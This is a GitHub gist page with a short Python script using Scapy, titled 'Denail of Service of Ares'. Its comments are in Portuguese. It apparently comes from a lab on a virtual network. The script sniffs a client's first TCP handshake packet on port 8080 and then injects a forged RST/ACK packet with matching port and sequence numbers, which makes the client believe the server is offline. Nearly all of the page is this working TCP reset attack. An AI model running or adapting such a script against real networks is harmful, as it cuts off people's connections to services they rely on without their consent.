Created
October 5, 2017 16:46
-
-
Save andrealmeid/172f6b51647d01c9ea9fdc13ff8a64ca to your computer and use it in GitHub Desktop.
Denail of Service of Ares
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# RST ATTACK | |
from scapy.all import * | |
# esse codigo cria um pacote de negação de serviço, tentando convencer o | |
# cliente de que o servidor está offline. As informações inseridas no pacote | |
# são com base em experimentos realizados. Para que o ataque surja efeito, esse | |
# pacote tem que ser enviado logo apos o primeiro passso do handshake para funcionar | |
# cria o pacote com as camadas necessarias | |
pacote = Ether()/IP()/TCP() | |
# Ether | |
pacote[Ether].dst = "52:54:00:d4:c2:37" | |
pacote[Ether].src = "52:54:00:f4:4a:bc" | |
# IP | |
pacote[IP].ihl = 5 | |
pacote[IP].id = 1298 | |
pacote[IP].flags="DF" | |
pacote[IP].src = "192.168.122.95" | |
pacote[IP].dst = "192.168.122.142" | |
pacote[IP].len = 40 | |
#pacote[IP].chksum = 0x7d9e | |
# TCP | |
pacote[TCP].sport = 8080 | |
pacote[TCP].seq = 0 | |
pacote[TCP].dataofs=5 | |
pacote[TCP].flags="RA" | |
pacote[TCP].window=0 | |
#pacote[TCP].chksum=0x274a | |
pacote[TCP].options={} | |
def inj(pkt): | |
pacote[TCP].dport = pkt[TCP].sport | |
pacote[TCP].ack = pkt[TCP].seq + 1 | |
del pacote[IP].chksum | |
del pacote[TCP].chksum | |
#pacote.show2() | |
#for i in range(0, 15): | |
sendp(pacote, iface="virbr0") | |
# espera o cliente fazer a requisição para enviar para ele o pacote falso | |
sniffing = sniff(iface = "virbr0", filter = "port 8080", count = 1, prn=lambda x: inj(x)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment